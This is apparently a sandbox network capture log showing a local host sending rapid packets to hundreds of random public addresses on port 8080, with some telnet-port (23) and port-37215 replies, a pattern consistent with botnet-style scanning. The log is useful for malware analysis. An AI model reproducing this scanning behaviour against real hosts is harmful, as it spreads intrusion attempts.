Nov 23, 2023 05:14:49.626034021 CET	54202	8080	192.168.2.13	85.39.238.252
Nov 23, 2023 05:14:49.626043081 CET	54202	8080	192.168.2.13	95.38.157.122
Nov 23, 2023 05:14:49.626051903 CET	54202	8080	192.168.2.13	95.111.70.119
Nov 23, 2023 05:14:49.626051903 CET	54202	8080	192.168.2.13	31.225.1.55
Nov 23, 2023 05:14:49.626051903 CET	54202	8080	192.168.2.13	85.118.202.225
Nov 23, 2023 05:14:49.626054049 CET	54202	8080	192.168.2.13	62.193.27.74
Nov 23, 2023 05:14:49.626064062 CET	54202	8080	192.168.2.13	85.23.17.63
Nov 23, 2023 05:14:49.626071930 CET	54202	8080	192.168.2.13	85.207.207.249
Nov 23, 2023 05:14:49.626075983 CET	54202	8080	192.168.2.13	31.49.185.124
Nov 23, 2023 05:14:49.626085997 CET	54202	8080	192.168.2.13	85.109.107.137
Nov 23, 2023 05:14:49.626096964 CET	54202	8080	192.168.2.13	95.20.9.121
Nov 23, 2023 05:14:49.626096964 CET	54202	8080	192.168.2.13	95.121.176.228
Nov 23, 2023 05:14:49.626096964 CET	54202	8080	192.168.2.13	85.170.90.60
Nov 23, 2023 05:14:49.626101017 CET	54202	8080	192.168.2.13	31.41.40.129
Nov 23, 2023 05:14:49.626104116 CET	54202	8080	192.168.2.13	94.11.225.208
Nov 23, 2023 05:14:49.626111984 CET	54202	8080	192.168.2.13	85.235.96.9
Nov 23, 2023 05:14:49.626112938 CET	54202	8080	192.168.2.13	95.79.219.214
Nov 23, 2023 05:14:49.626112938 CET	54202	8080	192.168.2.13	31.33.233.249
Nov 23, 2023 05:14:49.626116991 CET	54202	8080	192.168.2.13	31.36.114.25
Nov 23, 2023 05:14:49.626133919 CET	54202	8080	192.168.2.13	85.160.206.224
Nov 23, 2023 05:14:49.626133919 CET	54202	8080	192.168.2.13	85.59.127.171
Nov 23, 2023 05:14:49.626133919 CET	54202	8080	192.168.2.13	62.0.70.252
Nov 23, 2023 05:14:49.626137972 CET	54202	8080	192.168.2.13	31.96.193.129
Nov 23, 2023 05:14:49.626140118 CET	54202	8080	192.168.2.13	62.68.216.172
Nov 23, 2023 05:14:49.626156092 CET	54202	8080	192.168.2.13	62.210.121.127
Nov 23, 2023 05:14:49.626157999 CET	54202	8080	192.168.2.13	62.104.45.176
Nov 23, 2023 05:14:49.626163006 CET	54202	8080	192.168.2.13	95.224.58.10
Nov 23, 2023 05:14:49.626176119 CET	54202	8080	192.168.2.13	31.81.203.245
Nov 23, 2023 05:14:49.626183033 CET	54202	8080	192.168.2.13	85.49.222.233
Nov 23, 2023 05:14:49.626184940 CET	54202	8080	192.168.2.13	94.143.134.175
Nov 23, 2023 05:14:49.626185894 CET	54202	8080	192.168.2.13	85.233.191.43
Nov 23, 2023 05:14:49.626204014 CET	54202	8080	192.168.2.13	62.96.8.237
Nov 23, 2023 05:14:49.626211882 CET	54202	8080	192.168.2.13	94.211.136.60
Nov 23, 2023 05:14:49.626211882 CET	54202	8080	192.168.2.13	85.229.33.74
Nov 23, 2023 05:14:49.626211882 CET	54202	8080	192.168.2.13	62.192.142.253
Nov 23, 2023 05:14:49.626224041 CET	54202	8080	192.168.2.13	62.221.100.68
Nov 23, 2023 05:14:49.626231909 CET	54202	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:49.626231909 CET	54202	8080	192.168.2.13	31.114.115.103
Nov 23, 2023 05:14:49.626240969 CET	54202	8080	192.168.2.13	31.183.253.226
Nov 23, 2023 05:14:49.626245022 CET	54202	8080	192.168.2.13	31.217.111.58
Nov 23, 2023 05:14:49.626259089 CET	54202	8080	192.168.2.13	95.11.131.87
Nov 23, 2023 05:14:49.626260042 CET	54202	8080	192.168.2.13	31.32.179.142
Nov 23, 2023 05:14:49.626266003 CET	54202	8080	192.168.2.13	31.115.125.94
Nov 23, 2023 05:14:49.626266003 CET	54202	8080	192.168.2.13	62.223.29.25
Nov 23, 2023 05:14:49.626267910 CET	54202	8080	192.168.2.13	62.61.83.1
Nov 23, 2023 05:14:49.626270056 CET	54202	8080	192.168.2.13	94.146.187.63
Nov 23, 2023 05:14:49.626270056 CET	54202	8080	192.168.2.13	94.209.16.222
Nov 23, 2023 05:14:49.626274109 CET	54202	8080	192.168.2.13	31.146.33.66
Nov 23, 2023 05:14:49.626275063 CET	54202	8080	192.168.2.13	95.35.56.161
Nov 23, 2023 05:14:49.626276016 CET	54202	8080	192.168.2.13	31.213.214.219
Nov 23, 2023 05:14:49.626276016 CET	54202	8080	192.168.2.13	62.244.126.52
Nov 23, 2023 05:14:49.626291990 CET	54202	8080	192.168.2.13	94.156.33.230
Nov 23, 2023 05:14:49.626293898 CET	54202	8080	192.168.2.13	85.145.44.154
Nov 23, 2023 05:14:49.626301050 CET	54202	8080	192.168.2.13	95.97.254.83
Nov 23, 2023 05:14:49.626301050 CET	54202	8080	192.168.2.13	31.183.140.157
Nov 23, 2023 05:14:49.626312971 CET	54202	8080	192.168.2.13	94.126.7.11
Nov 23, 2023 05:14:49.626312971 CET	54202	8080	192.168.2.13	62.128.91.253
Nov 23, 2023 05:14:49.626321077 CET	54202	8080	192.168.2.13	95.82.247.251
Nov 23, 2023 05:14:49.626331091 CET	54202	8080	192.168.2.13	95.85.88.208
Nov 23, 2023 05:14:49.626333952 CET	54202	8080	192.168.2.13	31.104.147.255
Nov 23, 2023 05:14:49.626343012 CET	54202	8080	192.168.2.13	85.6.215.54
Nov 23, 2023 05:14:49.626349926 CET	54202	8080	192.168.2.13	31.176.176.8
Nov 23, 2023 05:14:49.626354933 CET	54202	8080	192.168.2.13	62.114.91.51
Nov 23, 2023 05:14:49.626368046 CET	54202	8080	192.168.2.13	95.210.110.56
Nov 23, 2023 05:14:49.626368999 CET	54202	8080	192.168.2.13	85.77.223.189
Nov 23, 2023 05:14:49.626370907 CET	54202	8080	192.168.2.13	31.207.251.21
Nov 23, 2023 05:14:49.626373053 CET	54202	8080	192.168.2.13	85.155.51.196
Nov 23, 2023 05:14:49.626383066 CET	54202	8080	192.168.2.13	85.184.168.206
Nov 23, 2023 05:14:49.626394987 CET	54202	8080	192.168.2.13	62.234.27.115
Nov 23, 2023 05:14:49.626403093 CET	54202	8080	192.168.2.13	85.160.227.157
Nov 23, 2023 05:14:49.626418114 CET	54202	8080	192.168.2.13	85.164.125.249
Nov 23, 2023 05:14:49.626418114 CET	54202	8080	192.168.2.13	85.73.86.247
Nov 23, 2023 05:14:49.626422882 CET	54202	8080	192.168.2.13	95.179.250.82
Nov 23, 2023 05:14:49.626435995 CET	54202	8080	192.168.2.13	31.12.96.70
Nov 23, 2023 05:14:49.626436949 CET	54202	8080	192.168.2.13	94.174.220.6
Nov 23, 2023 05:14:49.626441002 CET	54202	8080	192.168.2.13	31.239.28.139
Nov 23, 2023 05:14:49.626451015 CET	54202	8080	192.168.2.13	31.24.252.106
Nov 23, 2023 05:14:49.626455069 CET	54202	8080	192.168.2.13	85.136.231.226
Nov 23, 2023 05:14:49.626455069 CET	54202	8080	192.168.2.13	31.193.97.0
Nov 23, 2023 05:14:49.626461029 CET	54202	8080	192.168.2.13	85.231.30.227
Nov 23, 2023 05:14:49.626461029 CET	54202	8080	192.168.2.13	94.160.88.244
Nov 23, 2023 05:14:49.626463890 CET	54202	8080	192.168.2.13	94.134.140.93
Nov 23, 2023 05:14:49.626463890 CET	54202	8080	192.168.2.13	94.174.169.87
Nov 23, 2023 05:14:49.626467943 CET	54202	8080	192.168.2.13	62.35.219.104
Nov 23, 2023 05:14:49.626467943 CET	54202	8080	192.168.2.13	94.160.3.172
Nov 23, 2023 05:14:49.626477003 CET	54202	8080	192.168.2.13	85.53.79.226
Nov 23, 2023 05:14:49.626487017 CET	54202	8080	192.168.2.13	94.129.137.9
Nov 23, 2023 05:14:49.626490116 CET	54202	8080	192.168.2.13	95.37.170.0
Nov 23, 2023 05:14:49.626497030 CET	54202	8080	192.168.2.13	31.140.195.8
Nov 23, 2023 05:14:49.626504898 CET	54202	8080	192.168.2.13	95.131.42.37
Nov 23, 2023 05:14:49.626506090 CET	54202	8080	192.168.2.13	94.71.137.215
Nov 23, 2023 05:14:49.626513958 CET	54202	8080	192.168.2.13	62.231.31.114
Nov 23, 2023 05:14:49.626518011 CET	54202	8080	192.168.2.13	85.242.136.250
Nov 23, 2023 05:14:49.626526117 CET	54202	8080	192.168.2.13	31.79.43.99
Nov 23, 2023 05:14:49.626533985 CET	54202	8080	192.168.2.13	85.75.3.37
Nov 23, 2023 05:14:49.626535892 CET	54202	8080	192.168.2.13	95.39.245.140
Nov 23, 2023 05:14:49.626537085 CET	54202	8080	192.168.2.13	85.107.40.44
Nov 23, 2023 05:14:49.626538992 CET	54202	8080	192.168.2.13	94.236.139.5
Nov 23, 2023 05:14:49.626538992 CET	54202	8080	192.168.2.13	95.113.152.61
Nov 23, 2023 05:14:49.626549959 CET	54202	8080	192.168.2.13	62.31.51.85
Nov 23, 2023 05:14:49.626557112 CET	54202	8080	192.168.2.13	94.208.223.119
Nov 23, 2023 05:14:49.626570940 CET	54202	8080	192.168.2.13	31.186.243.143
Nov 23, 2023 05:14:49.626574039 CET	54202	8080	192.168.2.13	31.68.161.165
Nov 23, 2023 05:14:49.626574039 CET	54202	8080	192.168.2.13	85.110.173.221
Nov 23, 2023 05:14:49.626579046 CET	54202	8080	192.168.2.13	85.162.84.192
Nov 23, 2023 05:14:49.626597881 CET	54202	8080	192.168.2.13	31.174.11.153
Nov 23, 2023 05:14:49.626599073 CET	54202	8080	192.168.2.13	85.116.185.118
Nov 23, 2023 05:14:49.626597881 CET	54202	8080	192.168.2.13	95.131.16.110
Nov 23, 2023 05:14:49.626600981 CET	54202	8080	192.168.2.13	62.143.146.52
Nov 23, 2023 05:14:49.626600981 CET	54202	8080	192.168.2.13	62.213.80.133
Nov 23, 2023 05:14:49.626610041 CET	54202	8080	192.168.2.13	31.87.167.65
Nov 23, 2023 05:14:49.626619101 CET	54202	8080	192.168.2.13	31.81.82.108
Nov 23, 2023 05:14:49.626621008 CET	54202	8080	192.168.2.13	85.201.227.238
Nov 23, 2023 05:14:49.626636982 CET	54202	8080	192.168.2.13	62.3.75.154
Nov 23, 2023 05:14:49.626636982 CET	54202	8080	192.168.2.13	62.144.161.247
Nov 23, 2023 05:14:49.626641989 CET	54202	8080	192.168.2.13	85.195.33.0
Nov 23, 2023 05:14:49.626641989 CET	54202	8080	192.168.2.13	94.125.183.196
Nov 23, 2023 05:14:49.626662970 CET	54202	8080	192.168.2.13	85.78.28.87
Nov 23, 2023 05:14:49.626665115 CET	54202	8080	192.168.2.13	85.19.91.174
Nov 23, 2023 05:14:49.626668930 CET	54202	8080	192.168.2.13	62.238.253.233
Nov 23, 2023 05:14:49.626668930 CET	54202	8080	192.168.2.13	94.5.77.177
Nov 23, 2023 05:14:49.626672029 CET	54202	8080	192.168.2.13	94.212.36.108
Nov 23, 2023 05:14:49.626672983 CET	54202	8080	192.168.2.13	95.255.151.8
Nov 23, 2023 05:14:49.626672983 CET	54202	8080	192.168.2.13	31.41.19.229
Nov 23, 2023 05:14:49.626672983 CET	54202	8080	192.168.2.13	95.195.248.146
Nov 23, 2023 05:14:49.626672983 CET	54202	8080	192.168.2.13	94.62.241.85
Nov 23, 2023 05:14:49.626682997 CET	54202	8080	192.168.2.13	85.105.125.212
Nov 23, 2023 05:14:49.626688004 CET	54202	8080	192.168.2.13	95.100.183.222
Nov 23, 2023 05:14:49.626698971 CET	54202	8080	192.168.2.13	85.147.56.171
Nov 23, 2023 05:14:49.626703024 CET	54202	8080	192.168.2.13	85.13.235.139
Nov 23, 2023 05:14:49.626707077 CET	54202	8080	192.168.2.13	62.112.59.208
Nov 23, 2023 05:14:49.626719952 CET	54202	8080	192.168.2.13	95.129.180.51
Nov 23, 2023 05:14:49.626723051 CET	54202	8080	192.168.2.13	31.3.14.4
Nov 23, 2023 05:14:49.626729965 CET	54202	8080	192.168.2.13	31.217.194.153
Nov 23, 2023 05:14:49.626732111 CET	54202	8080	192.168.2.13	95.224.20.82
Nov 23, 2023 05:14:49.626733065 CET	54202	8080	192.168.2.13	62.109.138.206
Nov 23, 2023 05:14:49.626746893 CET	54202	8080	192.168.2.13	31.242.18.118
Nov 23, 2023 05:14:49.626753092 CET	54202	8080	192.168.2.13	31.140.22.244
Nov 23, 2023 05:14:49.626753092 CET	54202	8080	192.168.2.13	94.23.66.148
Nov 23, 2023 05:14:49.626760006 CET	54202	8080	192.168.2.13	62.99.195.42
Nov 23, 2023 05:14:49.626771927 CET	54202	8080	192.168.2.13	31.14.49.216
Nov 23, 2023 05:14:49.626773119 CET	54202	8080	192.168.2.13	85.131.187.245
Nov 23, 2023 05:14:49.626773119 CET	54202	8080	192.168.2.13	31.93.48.217
Nov 23, 2023 05:14:49.626775980 CET	54202	8080	192.168.2.13	95.82.127.92
Nov 23, 2023 05:14:49.626775980 CET	54202	8080	192.168.2.13	62.86.243.140
Nov 23, 2023 05:14:49.626780033 CET	54202	8080	192.168.2.13	85.86.124.97
Nov 23, 2023 05:14:49.626792908 CET	54202	8080	192.168.2.13	31.2.240.170
Nov 23, 2023 05:14:49.626802921 CET	54202	8080	192.168.2.13	94.171.113.116
Nov 23, 2023 05:14:49.626802921 CET	54202	8080	192.168.2.13	94.70.121.153
Nov 23, 2023 05:14:49.626804113 CET	54202	8080	192.168.2.13	95.0.147.111
Nov 23, 2023 05:14:49.626815081 CET	54202	8080	192.168.2.13	31.216.167.124
Nov 23, 2023 05:14:49.626816988 CET	54202	8080	192.168.2.13	31.36.102.238
Nov 23, 2023 05:14:49.626817942 CET	54202	8080	192.168.2.13	94.231.8.154
Nov 23, 2023 05:14:49.626822948 CET	54202	8080	192.168.2.13	95.253.177.2
Nov 23, 2023 05:14:49.626823902 CET	54202	8080	192.168.2.13	31.203.17.53
Nov 23, 2023 05:14:49.626832008 CET	54202	8080	192.168.2.13	31.154.217.109
Nov 23, 2023 05:14:49.626844883 CET	54202	8080	192.168.2.13	85.99.12.36
Nov 23, 2023 05:14:49.626844883 CET	54202	8080	192.168.2.13	31.80.99.13
Nov 23, 2023 05:14:49.626848936 CET	54202	8080	192.168.2.13	95.14.55.59
Nov 23, 2023 05:14:49.626862049 CET	54202	8080	192.168.2.13	31.145.26.47
Nov 23, 2023 05:14:49.626863003 CET	54202	8080	192.168.2.13	94.120.160.51
Nov 23, 2023 05:14:49.626869917 CET	54202	8080	192.168.2.13	95.210.142.189
Nov 23, 2023 05:14:49.626887083 CET	54202	8080	192.168.2.13	31.236.29.212
Nov 23, 2023 05:14:49.626893044 CET	54202	8080	192.168.2.13	94.195.179.75
Nov 23, 2023 05:14:49.626893044 CET	54202	8080	192.168.2.13	31.118.26.248
Nov 23, 2023 05:14:49.626893044 CET	54202	8080	192.168.2.13	62.77.140.175
Nov 23, 2023 05:14:49.626895905 CET	54202	8080	192.168.2.13	85.214.9.132
Nov 23, 2023 05:14:49.626908064 CET	54202	8080	192.168.2.13	62.18.197.178
Nov 23, 2023 05:14:49.626908064 CET	54202	8080	192.168.2.13	62.35.237.135
Nov 23, 2023 05:14:49.626918077 CET	54202	8080	192.168.2.13	62.16.44.28
Nov 23, 2023 05:14:49.626921892 CET	54202	8080	192.168.2.13	31.30.72.79
Nov 23, 2023 05:14:49.626929045 CET	54202	8080	192.168.2.13	95.183.32.103
Nov 23, 2023 05:14:49.626930952 CET	54202	8080	192.168.2.13	95.220.226.158
Nov 23, 2023 05:14:49.626940012 CET	54202	8080	192.168.2.13	31.63.240.115
Nov 23, 2023 05:14:49.626945972 CET	54202	8080	192.168.2.13	62.255.112.212
Nov 23, 2023 05:14:49.626949072 CET	54202	8080	192.168.2.13	94.248.174.97
Nov 23, 2023 05:14:49.626961946 CET	54202	8080	192.168.2.13	62.139.143.213
Nov 23, 2023 05:14:49.626965046 CET	54202	8080	192.168.2.13	94.32.169.30
Nov 23, 2023 05:14:49.626969099 CET	54202	8080	192.168.2.13	31.16.67.143
Nov 23, 2023 05:14:49.626969099 CET	54202	8080	192.168.2.13	85.70.150.91
Nov 23, 2023 05:14:49.626972914 CET	54202	8080	192.168.2.13	94.253.241.38
Nov 23, 2023 05:14:49.626981020 CET	54202	8080	192.168.2.13	31.176.169.154
Nov 23, 2023 05:14:49.626996040 CET	54202	8080	192.168.2.13	62.51.141.61
Nov 23, 2023 05:14:49.626996040 CET	54202	8080	192.168.2.13	85.208.230.60
Nov 23, 2023 05:14:49.626996040 CET	54202	8080	192.168.2.13	95.82.156.62
Nov 23, 2023 05:14:49.627006054 CET	54202	8080	192.168.2.13	95.107.194.214
Nov 23, 2023 05:14:49.627017021 CET	54202	8080	192.168.2.13	62.72.114.33
Nov 23, 2023 05:14:49.627026081 CET	54202	8080	192.168.2.13	85.200.31.7
Nov 23, 2023 05:14:49.627026081 CET	54202	8080	192.168.2.13	85.11.165.187
Nov 23, 2023 05:14:49.627026081 CET	54202	8080	192.168.2.13	95.116.88.155
Nov 23, 2023 05:14:49.627026081 CET	54202	8080	192.168.2.13	85.194.73.109
Nov 23, 2023 05:14:49.627034903 CET	54202	8080	192.168.2.13	62.122.173.101
Nov 23, 2023 05:14:49.627046108 CET	54202	8080	192.168.2.13	85.21.184.243
Nov 23, 2023 05:14:49.627046108 CET	54202	8080	192.168.2.13	31.160.13.139
Nov 23, 2023 05:14:49.627054930 CET	54202	8080	192.168.2.13	95.152.231.50
Nov 23, 2023 05:14:49.627057076 CET	54202	8080	192.168.2.13	85.223.171.30
Nov 23, 2023 05:14:49.627057076 CET	54202	8080	192.168.2.13	62.156.103.161
Nov 23, 2023 05:14:49.627057076 CET	54202	8080	192.168.2.13	85.52.124.245
Nov 23, 2023 05:14:49.627059937 CET	54202	8080	192.168.2.13	95.188.70.45
Nov 23, 2023 05:14:49.627062082 CET	54202	8080	192.168.2.13	94.120.179.179
Nov 23, 2023 05:14:49.627072096 CET	54202	8080	192.168.2.13	94.184.65.69
Nov 23, 2023 05:14:49.627079010 CET	54202	8080	192.168.2.13	85.58.182.59
Nov 23, 2023 05:14:49.627083063 CET	54202	8080	192.168.2.13	85.66.122.157
Nov 23, 2023 05:14:49.627089977 CET	54202	8080	192.168.2.13	95.55.221.147
Nov 23, 2023 05:14:49.627103090 CET	54202	8080	192.168.2.13	94.98.100.16
Nov 23, 2023 05:14:49.627103090 CET	54202	8080	192.168.2.13	94.27.15.142
Nov 23, 2023 05:14:49.627101898 CET	54202	8080	192.168.2.13	95.189.45.37
Nov 23, 2023 05:14:49.627115011 CET	54202	8080	192.168.2.13	31.115.151.225
Nov 23, 2023 05:14:49.627124071 CET	54202	8080	192.168.2.13	95.161.207.26
Nov 23, 2023 05:14:49.627125978 CET	54202	8080	192.168.2.13	95.51.119.196
Nov 23, 2023 05:14:49.627126932 CET	54202	8080	192.168.2.13	62.75.162.45
Nov 23, 2023 05:14:49.627140045 CET	54202	8080	192.168.2.13	95.90.91.70
Nov 23, 2023 05:14:49.627146006 CET	54202	8080	192.168.2.13	31.52.132.5
Nov 23, 2023 05:14:49.627154112 CET	54202	8080	192.168.2.13	31.8.119.4
Nov 23, 2023 05:14:49.627156019 CET	54202	8080	192.168.2.13	94.148.17.60
Nov 23, 2023 05:14:49.627156973 CET	54202	8080	192.168.2.13	94.135.51.96
Nov 23, 2023 05:14:49.627162933 CET	54202	8080	192.168.2.13	31.92.71.181
Nov 23, 2023 05:14:49.627170086 CET	54202	8080	192.168.2.13	62.163.128.4
Nov 23, 2023 05:14:49.627177954 CET	54202	8080	192.168.2.13	62.111.172.211
Nov 23, 2023 05:14:49.627182007 CET	54202	8080	192.168.2.13	62.219.177.192
Nov 23, 2023 05:14:49.627187014 CET	54202	8080	192.168.2.13	31.151.236.146
Nov 23, 2023 05:14:49.627197027 CET	54202	8080	192.168.2.13	95.55.225.124
Nov 23, 2023 05:14:49.627197027 CET	54202	8080	192.168.2.13	95.101.55.246
Nov 23, 2023 05:14:49.627197027 CET	54202	8080	192.168.2.13	62.15.128.192
Nov 23, 2023 05:14:49.627202034 CET	54202	8080	192.168.2.13	31.7.60.25
Nov 23, 2023 05:14:49.627219915 CET	54202	8080	192.168.2.13	31.235.172.148
Nov 23, 2023 05:14:49.627223969 CET	54202	8080	192.168.2.13	85.33.39.97
Nov 23, 2023 05:14:49.627233982 CET	54202	8080	192.168.2.13	85.236.52.116
Nov 23, 2023 05:14:49.627240896 CET	54202	8080	192.168.2.13	94.140.111.79
Nov 23, 2023 05:14:49.627254963 CET	54202	8080	192.168.2.13	94.45.110.234
Nov 23, 2023 05:14:49.627255917 CET	54202	8080	192.168.2.13	31.224.53.253
Nov 23, 2023 05:14:49.627257109 CET	54202	8080	192.168.2.13	31.189.34.180
Nov 23, 2023 05:14:49.627265930 CET	54202	8080	192.168.2.13	62.211.247.169
Nov 23, 2023 05:14:49.627270937 CET	54202	8080	192.168.2.13	31.185.218.113
Nov 23, 2023 05:14:49.627275944 CET	54202	8080	192.168.2.13	62.239.87.204
Nov 23, 2023 05:14:49.627281904 CET	54202	8080	192.168.2.13	94.2.32.126
Nov 23, 2023 05:14:49.627290964 CET	54202	8080	192.168.2.13	85.14.34.86
Nov 23, 2023 05:14:49.627294064 CET	54202	8080	192.168.2.13	95.235.182.62
Nov 23, 2023 05:14:49.627301931 CET	54202	8080	192.168.2.13	31.242.87.104
Nov 23, 2023 05:14:49.627307892 CET	54202	8080	192.168.2.13	31.243.167.165
Nov 23, 2023 05:14:49.627307892 CET	54202	8080	192.168.2.13	95.95.228.185
Nov 23, 2023 05:14:49.627317905 CET	54202	8080	192.168.2.13	95.152.124.27
Nov 23, 2023 05:14:49.627326012 CET	54202	8080	192.168.2.13	31.197.204.226
Nov 23, 2023 05:14:49.627331018 CET	54202	8080	192.168.2.13	31.123.41.184
Nov 23, 2023 05:14:49.627332926 CET	54202	8080	192.168.2.13	31.66.83.103
Nov 23, 2023 05:14:49.627346039 CET	54202	8080	192.168.2.13	85.39.226.255
Nov 23, 2023 05:14:49.627346992 CET	54202	8080	192.168.2.13	94.149.139.246
Nov 23, 2023 05:14:49.627346992 CET	54202	8080	192.168.2.13	85.29.147.144
Nov 23, 2023 05:14:49.627358913 CET	54202	8080	192.168.2.13	62.229.244.16
Nov 23, 2023 05:14:49.627358913 CET	54202	8080	192.168.2.13	62.131.47.224
Nov 23, 2023 05:14:49.627370119 CET	54202	8080	192.168.2.13	95.82.207.42
Nov 23, 2023 05:14:49.627372026 CET	54202	8080	192.168.2.13	94.111.213.75
Nov 23, 2023 05:14:49.627381086 CET	54202	8080	192.168.2.13	85.254.130.184
Nov 23, 2023 05:14:49.627384901 CET	54202	8080	192.168.2.13	95.254.155.107
Nov 23, 2023 05:14:49.627392054 CET	54202	8080	192.168.2.13	95.95.126.119
Nov 23, 2023 05:14:49.627392054 CET	54202	8080	192.168.2.13	95.236.37.227
Nov 23, 2023 05:14:49.627408981 CET	54202	8080	192.168.2.13	85.119.177.82
Nov 23, 2023 05:14:49.627409935 CET	54202	8080	192.168.2.13	31.193.235.216
Nov 23, 2023 05:14:49.627410889 CET	54202	8080	192.168.2.13	94.124.68.141
Nov 23, 2023 05:14:49.627427101 CET	54202	8080	192.168.2.13	31.10.162.215
Nov 23, 2023 05:14:49.627432108 CET	54202	8080	192.168.2.13	85.166.111.45
Nov 23, 2023 05:14:49.627435923 CET	54202	8080	192.168.2.13	31.68.98.175
Nov 23, 2023 05:14:49.627438068 CET	54202	8080	192.168.2.13	94.233.175.238
Nov 23, 2023 05:14:49.627453089 CET	54202	8080	192.168.2.13	94.153.201.190
Nov 23, 2023 05:14:49.627454042 CET	54202	8080	192.168.2.13	62.159.26.130
Nov 23, 2023 05:14:49.627456903 CET	54202	8080	192.168.2.13	31.180.190.231
Nov 23, 2023 05:14:49.627465010 CET	54202	8080	192.168.2.13	62.88.241.229
Nov 23, 2023 05:14:49.627477884 CET	54202	8080	192.168.2.13	85.20.237.50
Nov 23, 2023 05:14:49.627479076 CET	54202	8080	192.168.2.13	94.222.237.1
Nov 23, 2023 05:14:49.627486944 CET	54202	8080	192.168.2.13	31.69.163.127
Nov 23, 2023 05:14:49.627487898 CET	54202	8080	192.168.2.13	95.49.162.0
Nov 23, 2023 05:14:49.627495050 CET	54202	8080	192.168.2.13	31.22.61.127
Nov 23, 2023 05:14:49.627506018 CET	54202	8080	192.168.2.13	95.41.128.66
Nov 23, 2023 05:14:49.627506018 CET	54202	8080	192.168.2.13	95.206.118.50
Nov 23, 2023 05:14:49.627522945 CET	54202	8080	192.168.2.13	31.81.184.238
Nov 23, 2023 05:14:49.627522945 CET	54202	8080	192.168.2.13	94.58.84.31
Nov 23, 2023 05:14:49.627523899 CET	54202	8080	192.168.2.13	94.132.234.40
Nov 23, 2023 05:14:49.627525091 CET	54202	8080	192.168.2.13	94.117.73.123
Nov 23, 2023 05:14:49.627530098 CET	54202	8080	192.168.2.13	62.58.114.245
Nov 23, 2023 05:14:49.627541065 CET	54202	8080	192.168.2.13	62.164.153.0
Nov 23, 2023 05:14:49.627545118 CET	54202	8080	192.168.2.13	94.76.192.169
Nov 23, 2023 05:14:49.627552032 CET	54202	8080	192.168.2.13	62.52.195.68
Nov 23, 2023 05:14:49.627557039 CET	54202	8080	192.168.2.13	94.36.47.74
Nov 23, 2023 05:14:49.627562046 CET	54202	8080	192.168.2.13	95.199.29.151
Nov 23, 2023 05:14:49.627573013 CET	54202	8080	192.168.2.13	95.46.24.152
Nov 23, 2023 05:14:49.627573013 CET	54202	8080	192.168.2.13	95.68.106.26
Nov 23, 2023 05:14:49.627573967 CET	54202	8080	192.168.2.13	85.65.211.38
Nov 23, 2023 05:14:49.627583027 CET	54202	8080	192.168.2.13	62.60.30.151
Nov 23, 2023 05:14:49.627585888 CET	54202	8080	192.168.2.13	31.35.7.9
Nov 23, 2023 05:14:49.627585888 CET	54202	8080	192.168.2.13	95.236.218.202
Nov 23, 2023 05:14:49.627600908 CET	54202	8080	192.168.2.13	62.217.243.189
Nov 23, 2023 05:14:49.627600908 CET	54202	8080	192.168.2.13	94.47.197.74
Nov 23, 2023 05:14:49.627600908 CET	54202	8080	192.168.2.13	31.51.188.88
Nov 23, 2023 05:14:49.627612114 CET	54202	8080	192.168.2.13	62.205.148.183
Nov 23, 2023 05:14:49.627612114 CET	54202	8080	192.168.2.13	94.91.118.35
Nov 23, 2023 05:14:49.627623081 CET	54202	8080	192.168.2.13	94.206.77.67
Nov 23, 2023 05:14:49.627623081 CET	54202	8080	192.168.2.13	94.153.213.198
Nov 23, 2023 05:14:49.627633095 CET	54202	8080	192.168.2.13	95.72.220.167
Nov 23, 2023 05:14:49.627649069 CET	54202	8080	192.168.2.13	31.236.67.31
Nov 23, 2023 05:14:49.627650023 CET	54202	8080	192.168.2.13	95.168.179.197
Nov 23, 2023 05:14:49.627654076 CET	54202	8080	192.168.2.13	95.197.70.149
Nov 23, 2023 05:14:49.627662897 CET	54202	8080	192.168.2.13	31.231.37.102
Nov 23, 2023 05:14:49.627667904 CET	54202	8080	192.168.2.13	94.49.109.18
Nov 23, 2023 05:14:49.627898932 CET	36154	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:49.627966881 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:49.698373079 CET	23	55738	171.22.53.167	192.168.2.13
Nov 23, 2023 05:14:49.700076103 CET	23	55738	165.22.38.240	192.168.2.13
Nov 23, 2023 05:14:49.726079941 CET	8080	54202	94.131.24.201	192.168.2.13
Nov 23, 2023 05:14:49.726352930 CET	8080	54202	94.131.20.222	192.168.2.13
Nov 23, 2023 05:14:49.779021978 CET	23	55738	5.187.1.197	192.168.2.13
Nov 23, 2023 05:14:49.802155972 CET	37215	54970	156.19.192.134	192.168.2.13
Nov 23, 2023 05:14:49.810646057 CET	8080	54202	94.119.15.126	192.168.2.13
Nov 23, 2023 05:14:49.810720921 CET	8080	54202	85.7.138.112	192.168.2.13
Nov 23, 2023 05:14:49.816220045 CET	8080	54202	62.23.248.171	192.168.2.13
Nov 23, 2023 05:14:49.821172953 CET	8080	54202	95.217.237.206	192.168.2.13
Nov 23, 2023 05:14:49.822835922 CET	23	55738	156.194.238.194	192.168.2.13
Nov 23, 2023 05:14:49.826630116 CET	8080	54202	95.237.77.145	192.168.2.13
Nov 23, 2023 05:14:49.827728987 CET	8080	54202	85.8.138.215	192.168.2.13
Nov 23, 2023 05:14:49.829117060 CET	8080	54202	62.77.233.66	192.168.2.13
Nov 23, 2023 05:14:49.829889059 CET	8080	54202	95.163.180.208	192.168.2.13
Nov 23, 2023 05:14:49.832689047 CET	8080	54202	95.203.187.10	192.168.2.13
Nov 23, 2023 05:14:49.852231979 CET	8080	54202	31.200.60.86	192.168.2.13
Nov 23, 2023 05:14:49.852430105 CET	54202	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:49.853046894 CET	8080	54202	62.217.243.189	192.168.2.13
Nov 23, 2023 05:14:49.858006954 CET	8080	54202	94.121.21.87	192.168.2.13
Nov 23, 2023 05:14:49.858068943 CET	54202	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:49.875931025 CET	8080	54202	31.146.33.66	192.168.2.13
Nov 23, 2023 05:14:49.880969048 CET	8080	54202	31.163.178.10	192.168.2.13
Nov 23, 2023 05:14:49.900995016 CET	23	55738	118.57.221.177	192.168.2.13
Nov 23, 2023 05:14:49.924799919 CET	23	55738	116.59.201.44	192.168.2.13
Nov 23, 2023 05:14:49.939426899 CET	8080	54202	95.198.227.192	192.168.2.13
Nov 23, 2023 05:14:49.940972090 CET	23	55738	61.65.125.213	192.168.2.13
Nov 23, 2023 05:14:49.943470001 CET	23	55738	1.82.255.102	192.168.2.13
